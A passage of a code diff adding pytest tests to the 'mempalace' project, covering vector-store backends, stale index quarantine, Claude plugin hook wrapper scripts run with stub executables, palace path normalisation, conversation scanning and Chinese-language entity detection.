+    assert kinds == ["add", "upsert", "delete", "count"]
+
+
+def test_registry_exposes_chroma_by_default():
+    names = available_backends()
+    assert "chroma" in names
+    assert isinstance(get_backend("chroma"), ChromaBackend)
+
+
+def test_registry_unknown_backend_raises():
+    with pytest.raises(KeyError):
+        get_backend("no-such-backend-exists")
+
+
+def test_resolve_backend_priority_order(tmp_path):
+    from mempalace.backends import resolve_backend_for_palace
+
+    # explicit kwarg wins over everything
+    assert resolve_backend_for_palace(explicit="pg", config_value="lance") == "pg"
+    # config value wins over env / default
+    assert resolve_backend_for_palace(config_value="lance", env_value="qdrant") == "lance"
+    # env wins over default
+    assert resolve_backend_for_palace(env_value="qdrant", default="chroma") == "qdrant"
+    # falls back to default
+    assert resolve_backend_for_palace() == "chroma"
+
+
+def test_chroma_detect_matches_palace_with_chroma_sqlite(tmp_path):
+    (tmp_path / "chroma.sqlite3").write_bytes(b"")
+    assert ChromaBackend.detect(str(tmp_path)) is True
+    assert ChromaBackend.detect(str(tmp_path.parent)) is False
+
+
+def test_query_rejects_missing_input():
+    fake = _FakeCollection()
+    collection = ChromaCollection(fake)
+    with pytest.raises(ValueError):
+        collection.query()
+
+
+def test_query_rejects_both_texts_and_embeddings():
+    fake = _FakeCollection()
+    collection = ChromaCollection(fake)
+    with pytest.raises(ValueError):
+        collection.query(query_texts=["q"], query_embeddings=[[0.1, 0.2]])
+
+
+def test_query_rejects_empty_input_list():
+    fake = _FakeCollection()
+    collection = ChromaCollection(fake)
+    with pytest.raises(ValueError):
+        collection.query(query_texts=[])
+
+
+def test_query_empty_preserves_embeddings_outer_shape_when_requested():
+    fake = _FakeCollection(
+        query_response={"ids": [], "documents": [], "metadatas": [], "distances": []}
+    )
+    collection = ChromaCollection(fake)
+
+    requested = collection.query(query_texts=["q1", "q2"], include=["documents", "embeddings"])
+    assert requested.embeddings == [[], []]
+
+    not_requested = collection.query(query_texts=["q1", "q2"], include=["documents"])
+    assert not_requested.embeddings is None
+
+
+def test_chroma_cache_invalidates_when_db_file_missing(tmp_path):
+    """A palace rebuild that removes chroma.sqlite3 must drop the stale cache.
+
+    Primes backend._clients/_freshness directly with a sentinel rather than
+    opening a real ``PersistentClient``: on Windows the sqlite file handle
+    would still be live and ``Path.unlink`` would raise ``PermissionError``,
+    making the test unable to exercise the branch we care about. The decision
+    logic under test is pure (no chromadb calls before the branch), so a
+    sentinel is sufficient.
+    """
+    backend = ChromaBackend()
+    palace_path = tmp_path / "palace"
+    palace_path.mkdir()
+    db_file = palace_path / "chroma.sqlite3"
+    db_file.write_bytes(b"")  # any file is enough for _db_stat to see it
+    st = db_file.stat()
+
+    sentinel = object()
+    backend._clients[str(palace_path)] = sentinel
+    backend._freshness[str(palace_path)] = (st.st_ino, st.st_mtime)
+
+    # Simulate a rebuild mid-flight: chroma.sqlite3 goes away. Safe to unlink
+    # because nothing in this test is holding an OS handle on the file.
+    db_file.unlink()
+
+    prior_freshness = (st.st_ino, st.st_mtime)
+    new_client = backend._client(str(palace_path))
+    # Cache was replaced (not the sentinel) and freshness reflects the post-
+    # rebuild stat (chromadb re-creates chroma.sqlite3 during PersistentClient
+    # construction; _client re-stats after the constructor so freshness is
+    # not frozen at the pre-rebuild value). The stale cached sentinel would
+    # have served wrong data if returned.
+    assert new_client is not sentinel
+    assert backend._freshness[str(palace_path)] != prior_freshness
+
+
+def test_chroma_cache_picks_up_db_created_after_first_open(tmp_path):
+    """The 0 → nonzero stat transition invalidates a cache built before the DB existed."""
+    backend = ChromaBackend()
+    palace_path = tmp_path / "palace"
+    palace_path.mkdir()
+
+    # Seed an entry in the caches as if a prior _client() call had opened the
+    # palace when chroma.sqlite3 did not exist yet. Freshness (0, 0.0) is the
+    # signal that the DB was absent at cache time.
+    sentinel = object()
+    backend._clients[str(palace_path)] = sentinel
+    backend._freshness[str(palace_path)] = (0, 0.0)
+
+    # The DB file now appears (real chromadb would have created it by now).
+    # Use a real chromadb call so _fix_blob_seq_ids and PersistentClient succeed.
+    import chromadb as _chromadb
+
+    _chromadb.PersistentClient(path=str(palace_path)).get_or_create_collection("seed")
+    assert (palace_path / "chroma.sqlite3").is_file()
+
+    # Next _client() call must detect the 0 → nonzero transition and rebuild.
+    refreshed = backend._client(str(palace_path))
+    assert refreshed is not sentinel
+    assert backend._freshness[str(palace_path)] != (0, 0.0)
+
+
+def test_base_collection_update_default_rejects_mismatched_lengths():
+    """The ABC default update() raises ValueError rather than silently misaligning."""
+    from mempalace.backends.base import BaseCollection
+
+    collection = ChromaCollection(_FakeCollection())
+
+    with pytest.raises(ValueError, match="documents length"):
+        BaseCollection.update(collection, ids=["1", "2"], documents=["only-one"])
+
+    with pytest.raises(ValueError, match="metadatas length"):
+        BaseCollection.update(collection, ids=["1", "2"], metadatas=[{"k": 9}])
+
+
+def test_chroma_backend_accepts_palace_ref_kwarg(tmp_path):
+    palace_path = tmp_path / "palace"
+    backend = ChromaBackend()
+    collection = backend.get_collection(
+        palace=PalaceRef(id=str(palace_path), local_path=str(palace_path)),
+        collection_name="mempalace_drawers",
+        create=True,
+    )
+    assert palace_path.is_dir()
+    assert isinstance(collection, ChromaCollection)
 
 
 def test_chroma_backend_create_false_raises_without_creating_directory(tmp_path):
@@ -140,3 +378,68 @@ def test_fix_blob_seq_ids_noop_without_blobs(tmp_path):
 def test_fix_blob_seq_ids_noop_without_database(tmp_path):
     """No error when palace has no chroma.sqlite3."""
     _fix_blob_seq_ids(str(tmp_path))  # should not raise
+
+
+# ── quarantine_stale_hnsw ─────────────────────────────────────────────────
+
+
+def _make_palace_with_segment(tmp_path, hnsw_mtime, sqlite_mtime):
+    """Helper: build a palace dir with one HNSW segment + sqlite at given mtimes."""
+    palace = tmp_path / "palace"
+    palace.mkdir()
+    (palace / "chroma.sqlite3").write_text("")
+    seg = palace / "abcd-1234-5678"
+    seg.mkdir()
+    (seg / "data_level0.bin").write_text("")
+    os.utime(seg / "data_level0.bin", (hnsw_mtime, hnsw_mtime))
+    os.utime(palace / "chroma.sqlite3", (sqlite_mtime, sqlite_mtime))
+    return palace, seg
+
+
+def test_quarantine_stale_hnsw_renames_drifted_segment(tmp_path):
+    """Segment whose data_level0.bin is 2h older than sqlite gets renamed."""
+    now = 1_700_000_000.0
+    palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 7200, sqlite_mtime=now)
+    moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
+    assert len(moved) == 1
+    assert ".drift-" in moved[0]
+    assert not seg.exists()
+    # the renamed directory still exists and contains the original file
+    renamed = list(palace.iterdir())
+    drift_dirs = [p for p in renamed if ".drift-" in p.name]
+    assert len(drift_dirs) == 1
+    assert (drift_dirs[0] / "data_level0.bin").exists()
+
+
+def test_quarantine_stale_hnsw_leaves_fresh_segment_alone(tmp_path):
+    """Segment with recent mtime vs sqlite is not touched."""
+    now = 1_700_000_000.0
+    palace, seg = _make_palace_with_segment(tmp_path, hnsw_mtime=now - 10, sqlite_mtime=now)
+    moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
+    assert moved == []
+    assert seg.exists()
+
+
+def test_quarantine_stale_hnsw_no_palace(tmp_path):
+    """Missing palace path or chroma.sqlite3: return [] without raising."""
+    assert quarantine_stale_hnsw(str(tmp_path / "missing")) == []
+    empty = tmp_path / "empty"
+    empty.mkdir()
+    assert quarantine_stale_hnsw(str(empty)) == []
+
+
+def test_quarantine_stale_hnsw_skips_already_quarantined(tmp_path):
+    """Directories already named with ``.drift-`` suffix are never re-renamed."""
+    now = 1_700_000_000.0
+    palace = tmp_path / "palace"
+    palace.mkdir()
+    (palace / "chroma.sqlite3").write_text("")
+    os.utime(palace / "chroma.sqlite3", (now, now))
+    drift = palace / "abcd-1234.drift-20260101-000000"
+    drift.mkdir()
+    (drift / "data_level0.bin").write_text("")
+    os.utime(drift / "data_level0.bin", (now - 99999, now - 99999))
+
+    moved = quarantine_stale_hnsw(str(palace), stale_seconds=3600.0)
+    assert moved == []
+    assert drift.exists()

tests/test_claude_plugin_hook_wrappers.py

@@ -0,0 +1,192 @@
+"""Execution tests for Claude plugin hook wrapper scripts."""
+
+import os
+import shutil
+import subprocess
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+PLUGIN_HOOKS_DIR = REPO_ROOT / ".claude-plugin" / "hooks"
+BASH = shutil.which("bash")
+
+pytestmark = pytest.mark.skipif(
+    BASH is None,
+    reason="bash required for Claude plugin hook wrapper tests",
+)
+
+SCRIPT_CASES = [
+    ("mempal-stop-hook.sh", "stop"),
+    ("mempal-precompact-hook.sh", "precompact"),
+]
+
+
+def _shell_path(path: Path) -> str:
+    return path.as_posix()
+
+
+def _write_executable(path: Path, content: str) -> None:
+    path.write_text(content, encoding="utf-8")
+    path.chmod(0o755)
+
+
+def _make_bin_dir(tmp_path: Path, executables: dict[str, str]) -> Path:
+    bin_dir = tmp_path / "bin"
+    bin_dir.mkdir()
+    for name, content in executables.items():
+        _write_executable(bin_dir / name, content)
+    return bin_dir
+
+
+def _capture_stdin_to(output_path: Path) -> str:
+    return (
+        'stdin_payload=""\n'
+        'while IFS= read -r line || [ -n "$line" ]; do\n'
+        '  stdin_payload="${stdin_payload}${line}"\n'
+        "done\n"
+        f'printf \'%s\' "$stdin_payload" > "{_shell_path(output_path)}"\n'
+    )
+
+
+def _run_hook(
+    script_name: str,
+    payload: str,
+    bin_dir: Path,
+) -> subprocess.CompletedProcess[str]:
+    assert BASH is not None
+
+    env = os.environ.copy()
+    env["PATH"] = str(bin_dir)
+
+    return subprocess.run(
+        [BASH, _shell_path(PLUGIN_HOOKS_DIR / script_name)],
+        input=payload,
+        text=True,
+        capture_output=True,
+        cwd=REPO_ROOT,
+        env=env,
+    )
+
+
+@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
+def test_plugin_hook_wrapper_prefers_mempalace_cli(
+    tmp_path: Path, script_name: str, hook_name: str
+) -> None:
+    args_file = tmp_path / "args.txt"
+    stdin_file = tmp_path / "stdin.json"
+
+    bin_dir = _make_bin_dir(
+        tmp_path,
+        {
+            "mempalace": (
+                "#!/bin/sh\n"
+                f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
+                f"{_capture_stdin_to(stdin_file)}"
+                "printf '{}\\n'\n"
+            ),
+            "python": "#!/bin/sh\nexit 99\n",
+            "python3": "#!/bin/sh\nexit 99\n",
+        },
+    )
+
+    payload = '{"session_id":"abc123"}'
+    result = _run_hook(script_name, payload, bin_dir)
+
+    assert result.returncode == 0
+    assert result.stdout == "{}\n"
+    assert (
+        args_file.read_text(encoding="utf-8")
+        == f"hook run --hook {hook_name} --harness claude-code"
+    )
+    assert stdin_file.read_text(encoding="utf-8") == payload
+
+
+@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
+@pytest.mark.parametrize("python_name", ["python3", "python"])
+def test_plugin_hook_wrapper_falls_back_to_importable_python(
+    tmp_path: Path, script_name: str, hook_name: str, python_name: str
+) -> None:
+    args_file = tmp_path / "args.txt"
+    stdin_file = tmp_path / "stdin.json"
+
+    python_stub = (
+        "#!/bin/sh\n"
+        'if [ "$1" = "-c" ]; then\n'
+        "  exit 0\n"
+        "fi\n"
+        f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
+        f"{_capture_stdin_to(stdin_file)}"
+        "printf '{}\\n'\n"
+    )
+    bin_dir = _make_bin_dir(tmp_path, {python_name: python_stub})
+
+    payload = '{"session_id":"xyz789"}'
+    result = _run_hook(script_name, payload, bin_dir)
+
+    assert result.returncode == 0
+    assert result.stdout == "{}\n"
+    assert (
+        args_file.read_text(encoding="utf-8")
+        == f"-m mempalace hook run --hook {hook_name} --harness claude-code"
+    )
+    assert stdin_file.read_text(encoding="utf-8") == payload
+
+
+@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
+def test_plugin_hook_wrapper_errors_cleanly_when_no_runner_exists(
+    tmp_path: Path, script_name: str, hook_name: str
+) -> None:
+    bin_dir = _make_bin_dir(tmp_path, {})
+
+    payload = '{"session_id":"no-runner"}'
+    result = _run_hook(script_name, payload, bin_dir)
+
+    assert result.returncode != 0
+    assert result.stdout == ""
+    assert "could not find a runnable mempalace command or module" in result.stderr
+
+
+@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES)
+def test_plugin_hook_wrapper_falls_back_to_python_when_python3_cannot_import(
+    tmp_path: Path, script_name: str, hook_name: str
+) -> None:
+    args_file = tmp_path / "args.txt"
+    stdin_file = tmp_path / "stdin.json"
+    bad_python3_used = tmp_path / "bad_python3_used.txt"
+
+    bin_dir = _make_bin_dir(
+        tmp_path,
+        {
+            "python3": (
+                "#!/bin/sh\n"
+                'if [ "$1" = "-c" ]; then\n'
+                "  exit 1\n"
+                "fi\n"
+                f"printf 'used' > \"{_shell_path(bad_python3_used)}\"\n"
+                "echo 'No module named mempalace' >&2\n"
+                "exit 1\n"
+            ),
+            "python": (
+                "#!/bin/sh\n"
+                'if [ "$1" = "-c" ]; then\n'
+                "  exit 0\n"
+                "fi\n"
+                f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n'
+                f"{_capture_stdin_to(stdin_file)}"
+                "printf '{}\\n'\n"
+            ),
+        },
+    )
+
+    payload = '{"session_id":"fallback"}'
+    result = _run_hook(script_name, payload, bin_dir)
+
+    assert result.returncode == 0
+    assert result.stdout == "{}\n"
+    assert (
+        args_file.read_text(encoding="utf-8")
+        == f"-m mempalace hook run --hook {hook_name} --harness claude-code"
+    )
+    assert stdin_file.read_text(encoding="utf-8") == payload
+    assert not bad_python3_used.exists()

tests/test_cli.py

@@ -334,9 +334,9 @@ def test_mcp_command_prints_setup_guidance(monkeypatch, capsys):
 
     captured = capsys.readouterr()
     assert "MemPalace MCP quick setup:" in captured.out
-    assert "claude mcp add mempalace -- python -m mempalace.mcp_server" in captured.out
+    assert "claude mcp add mempalace -- mempalace-mcp" in captured.out
     assert "\nOptional custom palace:\n" in captured.out
-    assert "python -m mempalace.mcp_server --palace /path/to/palace" in captured.out
+    assert "mempalace-mcp --palace /path/to/palace" in captured.out
     assert "[--palace /path/to/palace]" not in captured.out
     assert captured.err == ""
 
@@ -349,7 +349,7 @@ def test_mcp_command_uses_custom_palace_path_when_provided(monkeypatch, capsys):
     captured = capsys.readouterr()
     expanded = str(Path("~/tmp/my palace").expanduser())
 
-    assert "python -m mempalace.mcp_server --palace" in captured.out
+    assert "mempalace-mcp --palace" in captured.out
     assert expanded in captured.out
     assert "Optional custom palace:" not in captured.out
     assert "[--palace /path/to/palace]" not in captured.out

tests/test_config.py

@@ -21,10 +21,62 @@ def test_config_from_file():
 
 
 def test_env_override():
-    os.environ["MEMPALACE_PALACE_PATH"] = "/env/palace"
-    cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
-    assert cfg.palace_path == "/env/palace"
-    del os.environ["MEMPALACE_PALACE_PATH"]
+    raw = "/env/palace"
+    os.environ["MEMPALACE_PALACE_PATH"] = raw
+    try:
+        cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
+        # palace_path normalizes with abspath + expanduser to match the
+        # --palace CLI code path. On Unix that's a no-op for "/env/palace";
+        # on Windows abspath prepends the current drive letter.
+        assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
+    finally:
+        del os.environ["MEMPALACE_PALACE_PATH"]
+
+
+def test_env_path_expanduser():
+    # Tilde must be expanded to match the --palace CLI code path. We don't
+    # assert "~" is absent from the final string because Windows 8.3 short
+    # paths (e.g. C:\Users\RUNNER~1\...) legitimately contain tildes — the
+    # equality check is authoritative.
+    raw = os.path.join("~", "mempalace-test")
+    os.environ["MEMPALACE_PALACE_PATH"] = raw
+    try:
+        cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
+        assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
+        assert cfg.palace_path.endswith("mempalace-test")
+    finally:
+        del os.environ["MEMPALACE_PALACE_PATH"]
+
+
+def test_env_path_abspath_collapses_traversal():
+    # Build a raw path with a .. segment using the platform separator so
+    # the assertion is portable (Windows uses \, POSIX uses /).
+    raw = os.path.join(tempfile.gettempdir(), "palace", "..", "mempalace-test")
+    expected = os.path.abspath(os.path.expanduser(raw))
+    os.environ["MEMPALACE_PALACE_PATH"] = raw
+    try:
+        cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
+        # .. segments must be collapsed, not preserved literally.
+        assert ".." not in cfg.palace_path
+        assert cfg.palace_path == expected
+    finally:
+        del os.environ["MEMPALACE_PALACE_PATH"]
+
+
+def test_env_path_legacy_alias_normalized():
+    # Legacy MEMPAL_PALACE_PATH gets the same normalization treatment as
+    # MEMPALACE_PALACE_PATH. We don't assert "~" is absent from the final
+    # string because Windows 8.3 short paths (e.g. C:\Users\RUNNER~1\...)
+    # legitimately contain tildes — the equality check below is authoritative.
+    os.environ.pop("MEMPALACE_PALACE_PATH", None)
+    raw = os.path.join("~", "legacy-alias", "..", "mempalace-test")
+    os.environ["MEMPAL_PALACE_PATH"] = raw
+    try:
+        cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
+        assert ".." not in cfg.palace_path
+        assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
+    finally:
+        del os.environ["MEMPAL_PALACE_PATH"]
 
 
 def test_init():

tests/test_config_extra.py

@@ -63,10 +63,14 @@ def test_save_people_map(tmp_path):
 def test_env_mempal_palace_path(tmp_path):
     """MEMPAL_PALACE_PATH (legacy) should also work."""
     os.environ.pop("MEMPALACE_PALACE_PATH", None)
-    os.environ["MEMPAL_PALACE_PATH"] = "/legacy/path"
+    raw = "/legacy/path"
+    os.environ["MEMPAL_PALACE_PATH"] = raw
     try:
         cfg = MempalaceConfig(config_dir=str(tmp_path))
-        assert cfg.palace_path == "/legacy/path"
+        # palace_path is normalized via abspath + expanduser — compare
+        # against the normalized form so the test is portable between
+        # POSIX (no-op) and Windows (prepends current drive letter).
+        assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
     finally:
         del os.environ["MEMPAL_PALACE_PATH"]
 

tests/test_convo_miner_size_cap.py

@@ -0,0 +1,31 @@
+"""TDD: convo_miner.py must not silently drop transcripts larger than 10 MB.
+
+Mirrors the miner.py fix shipped in the same PR family (see
+test_miner_jsonl_visibility.py). Long Claude Code sessions, ChatGPT
+exports, and multi-year Slack dumps routinely exceed 10 MB. The cap
+silently `continue`s past them at convo_miner.py:~289, same silent-drop
+pattern as the project miner's.
+
+Written BEFORE the fix.
+"""
+
+from mempalace.convo_miner import MAX_FILE_SIZE
+
+
+class TestConvoMinerSizeCap:
+    def test_max_file_size_accommodates_long_transcripts(self):
+        """The cap must be well above any realistic transcript.
+
+        Long sessions and lifetime exports exceed 10 MB. The cap exists
+        as a sanity rail against pathological binaries, not as a limit
+        on legitimate text — downstream chunking means source size does
+        not matter for storage or embedding cost.
+        """
+        assert MAX_FILE_SIZE >= 100 * 1024 * 1024, (
+            f"convo_miner.MAX_FILE_SIZE is {MAX_FILE_SIZE} bytes "
+            f"({MAX_FILE_SIZE / 1024 / 1024:.0f} MB). Same silent-drop "
+            "bug as miner.py's old 10 MB cap — long transcripts get "
+            "filtered out at convo_miner.py:~289 with `continue`. "
+            "Raise to at least 100 MB (match miner.py at 500 MB for "
+            "consistency across both miners)."
+        )

tests/test_convo_scanner.py

@@ -0,0 +1,218 @@
+"""Tests for mempalace.convo_scanner."""
+
+import json
+from pathlib import Path
+
+from mempalace.convo_scanner import (
+    _decode_slug_fallback,
+    _extract_cwd_from_session,
+    _resolve_project_name,
+    _safe_mtime,
+    is_claude_projects_root,
+    scan_claude_projects,
+)
+
+
+# ── is_claude_projects_root ─────────────────────────────────────────────
+
+
+def test_is_claude_projects_root_true(tmp_path):
+    project_dir = tmp_path / "-home-user-dev-foo"
+    project_dir.mkdir()
+    (project_dir / "abc.jsonl").write_text("{}\n")
+    assert is_claude_projects_root(tmp_path)
+
+
+def test_is_claude_projects_root_false_no_dash_prefix(tmp_path):
+    project_dir = tmp_path / "normal-folder"
+    project_dir.mkdir()
+    (project_dir / "abc.jsonl").write_text("{}\n")
+    assert not is_claude_projects_root(tmp_path)
+
+
+def test_is_claude_projects_root_false_no_jsonl(tmp_path):
+    project_dir = tmp_path / "-home-user-foo"
+    project_dir.mkdir()
+    (project_dir / "other.txt").write_text("hello")
+    assert not is_claude_projects_root(tmp_path)
+
+
+def test_is_claude_projects_root_false_empty(tmp_path):
+    assert not is_claude_projects_root(tmp_path)
+
+
+def test_is_claude_projects_root_false_nonexistent(tmp_path):
+    assert not is_claude_projects_root(tmp_path / "does-not-exist")
+
+
+# ── cwd extraction ──────────────────────────────────────────────────────
+
+
+def test_extract_cwd_from_session(tmp_path):
+    f = tmp_path / "session.jsonl"
+    lines = [
+        json.dumps({"type": "file-history-snapshot", "messageId": "x"}),
+        json.dumps({"type": "user", "cwd": "/home/user/dev/myproj", "content": "hi"}),
+    ]
+    f.write_text("\n".join(lines) + "\n")
+    assert _extract_cwd_from_session(f) == "/home/user/dev/myproj"
+
+
+def test_extract_cwd_from_session_skips_malformed(tmp_path):
+    f = tmp_path / "session.jsonl"
+    f.write_text(
+        "{not valid json\n" + json.dumps({"type": "user", "cwd": "/home/user/dev/good"}) + "\n"
+    )
+    assert _extract_cwd_from_session(f) == "/home/user/dev/good"
+
+
+def test_extract_cwd_from_session_none_if_absent(tmp_path):
+    f = tmp_path / "session.jsonl"
+    f.write_text(json.dumps({"type": "x", "messageId": "y"}) + "\n")
+    assert _extract_cwd_from_session(f) is None
+
+
+def test_extract_cwd_from_session_none_if_file_missing(tmp_path):
+    assert _extract_cwd_from_session(tmp_path / "missing.jsonl") is None
+
+
+# ── slug fallback ───────────────────────────────────────────────────────
+
+
+def test_decode_slug_fallback_last_segment():
+    assert _decode_slug_fallback("-home-user-dev-foo") == "foo"
+
+
+def test_decode_slug_fallback_double_dash():
+    assert _decode_slug_fallback("-home-user--bentokit") == "bentokit"
+
+
+def test_decode_slug_fallback_empty():
+    assert _decode_slug_fallback("") == ""
+
+
+def test_decode_slug_fallback_only_dashes():
+    assert _decode_slug_fallback("---") == "---"
+
+
+# ── safe metadata helpers ───────────────────────────────────────────────
+
+
+def test_safe_mtime_returns_zero_on_stat_error(tmp_path, monkeypatch):
+    f = tmp_path / "session.jsonl"
+    f.write_text("{}\n")
+    original_stat = Path.stat
+
+    def fail_stat(self):
+        if self == f:
+            raise OSError("permission denied")
+        return original_stat(self)
+
+    monkeypatch.setattr(Path, "stat", fail_stat)
+    assert _safe_mtime(f) == 0.0
+
+
+# ── _resolve_project_name ───────────────────────────────────────────────
+
+
+def test_resolve_project_name_uses_cwd(tmp_path):
+    pdir = tmp_path / "-home-user-dev-coolproj"
+    pdir.mkdir()
+    session = pdir / "a.jsonl"
+    session.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/cool-proj-real"}) + "\n")
+    assert _resolve_project_name(pdir) == "cool-proj-real"
+
+
+def test_resolve_project_name_falls_back_when_no_cwd(tmp_path):
+    pdir = tmp_path / "-home-user-dev-foo"
+    pdir.mkdir()
+    (pdir / "a.jsonl").write_text(json.dumps({"type": "x"}) + "\n")
+    assert _resolve_project_name(pdir) == "foo"
+
+
+def test_resolve_project_name_prefers_newer_session(tmp_path):
+    """Newest session's cwd wins — covers the case where user renamed the
+    project directory between sessions."""
+
+    pdir = tmp_path / "-home-user-dev-old"
+    pdir.mkdir()
+    old = pdir / "old.jsonl"
+    old.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/old"}) + "\n")
+    # Ensure distinguishable mtimes
+    old_mtime = old.stat().st_mtime - 100
+    import os
+
+    os.utime(old, (old_mtime, old_mtime))
+
+    new = pdir / "new.jsonl"
+    new.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/new-name"}) + "\n")
+    assert _resolve_project_name(pdir) == "new-name"
+
+
+# ── scan_claude_projects ────────────────────────────────────────────────
+
+
+def test_scan_claude_projects_empty_dir(tmp_path):
+    assert scan_claude_projects(tmp_path) == []
+
+
+def test_scan_claude_projects_not_a_projects_root(tmp_path):
+    """Returns empty list if the dir doesn't look like .claude/projects/."""
+    (tmp_path / "some-folder").mkdir()
+    (tmp_path / "some-folder" / "readme.md").write_text("hi")
+    assert scan_claude_projects(tmp_path) == []
+
+
+def test_scan_claude_projects_finds_projects(tmp_path):
+    p1 = tmp_path / "-home-user-dev-alpha"
+    p1.mkdir()
+    (p1 / "a.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n")
+    (p1 / "b.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n")
+
+    p2 = tmp_path / "-home-user-dev-beta"
+    p2.mkdir()
+    (p2 / "x.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/beta"}) + "\n")
+
+    result = scan_claude_projects(tmp_path)
+    names = [p.name for p in result]
+    assert "alpha" in names
+    assert "beta" in names
+    # alpha has 2 sessions, beta has 1 — alpha ranks higher
+    alpha = next(p for p in result if p.name == "alpha")
+    beta = next(p for p in result if p.name == "beta")
+    assert alpha.user_commits == 2
+    assert beta.user_commits == 1
+
+
+def test_scan_claude_projects_ignores_dirs_without_jsonl(tmp_path):
+    empty_proj = tmp_path / "-home-user-dev-empty"
+    empty_proj.mkdir()
+    (empty_proj / "notes.md").write_text("hi")
+    assert scan_claude_projects(tmp_path) == []
+
+
+def test_scan_claude_projects_marks_as_mine(tmp_path):
+    p = tmp_path / "-home-user-dev-owned"
+    p.mkdir()
+    (p / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/owned"}) + "\n")
+    result = scan_claude_projects(tmp_path)
+    assert len(result) == 1
+    assert result[0].is_mine is True
+
+
+def test_scan_claude_projects_dedup_by_name(tmp_path):
+    """Two encoded dirs resolving to the same project name collapse to one."""
+    p1 = tmp_path / "-home-user-a-proj"
+    p1.mkdir()
+    (p1 / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n")
+    (p1 / "t.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n")
+
+    p2 = tmp_path / "-home-user-b-proj"
+    p2.mkdir()
+    (p2 / "u.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/b/proj"}) + "\n")
+
+    result = scan_claude_projects(tmp_path)
+    # Both decode to "proj"; only one remains — the one with more sessions wins
+    assert len(result) == 1
+    assert result[0].name == "proj"
+    assert result[0].user_commits == 2

tests/test_entity_detector.py

@@ -148,6 +148,33 @@ def test_classify_entity_pronoun_only_is_uncertain():
     assert result["type"] == "uncertain"
 
 
+def test_classify_entity_high_pronoun_signal_is_person():
+    """A diary's main character hit by many pronouns should still classify
+    as a person even with only the pronoun signal category. Example from
+    real data: `Lu` has 16 pronoun hits out of 30 mentions."""
+    scores = {
+        "person_score": 32,
+        "project_score": 0,
+        "person_signals": ["pronoun nearby (16x)"],
+        "project_signals": [],
+    }
+    result = classify_entity("Lu", 30, scores)
+    assert result["type"] == "person"
+
+
+def test_classify_entity_low_pronoun_proximity_is_uncertain():
+    """Common sentence-start words (Never, Before) get a few pronouns nearby
+    incidentally. The ratio stays low (<20%), so they stay uncertain."""
+    scores = {
+        "person_score": 4,
+        "project_score": 0,
+        "person_signals": ["pronoun nearby (2x)"],
+        "project_signals": [],
+    }
+    result = classify_entity("Never", 21, scores)
+    assert result["type"] == "uncertain"
+
+
 def test_classify_entity_mixed_signals():
     scores = {
         "person_score": 5,
@@ -661,3 +688,102 @@ def test_boundary_chars_english_regression():
     result = extract_candidates(text, languages=("en",))
     assert "Riley" in result
     assert result["Riley"] >= 3
+
+
+# ── Chinese (zh-TW / zh-CN) entity detection ──────────────────────────
+
+# CJK scripts have no word delimiters — a regex-based extractor can only
+# catch names when they have a non-CJK neighbour (whitespace, punctuation,
+# newline, or mixed English). Real-world technical notes in zh-TW / zh-CN
+# routinely satisfy this: names appear at the start of bullet lines, next
+# to English terms, or before full-width punctuation 「」：，。. The patterns
+# below target that realistic regime.
+
+
+def test_zh_tw_candidate_extraction_at_boundaries():
+    """A 3-char Traditional Chinese name is extracted when neighboured by
+    whitespace, English, full-width punctuation, or line-start."""
+    text = (
+        "# 會議紀錄\n"
+        "- 朱宜振 主持\n"
+        "朱宜振 跟 Jeffrey 討論。\n"
+        "朱宜振: 方向正確。\n"
+        "朱宜振, 明天 pitch。\n"
+    )
+    result = extract_candidates(text, languages=("zh-TW",))
+    assert "朱宜振" in result, f"expected 朱宜振 in {result}"
+    assert result["朱宜振"] >= 3
+
+
+def test_zh_tw_person_classification():
+    """A Traditional Chinese name with dialogue + verb context classifies
+    as a person."""
+    text = (
+        "朱宜振: 「我們要 6 月 launch。」\n"
+        "朱宜振 同意 Arnold 的方案。\n"
+        "朱宜振 覺得 Hermes 方向對。\n"
+        "朱宜振 決定 ship pitch。\n"
+    )
+    lines = text.splitlines()
+    scores = score_entity("朱宜振", text, lines, languages=("zh-TW",))
+    # Dialogue + action signals fire — person score dominates
+    assert scores["person_score"] > 0, f"expected person signals, got {scores}"
+
+
+def test_zh_tw_stopwords_filter_common_particles():
+    """Common Chinese particles / pronouns should be stopword-filtered
+    even if they happen to share a surname prefix like 甘 or 習."""
+    from mempalace.i18n import get_entity_patterns
+
+    patterns = get_entity_patterns(("zh-TW",))
+    stopwords = set(patterns["stopwords"])
+    # Sanity: stopwords are lower-cased from the source list
+    assert "這個" in stopwords
+    assert "我們" in stopwords
+    assert "他們" in stopwords
+    assert "完成" in stopwords
+
+
+def test_zh_tw_falls_back_to_english_for_non_cjk_names():
+    """English names embedded in Chinese text are still captured via the
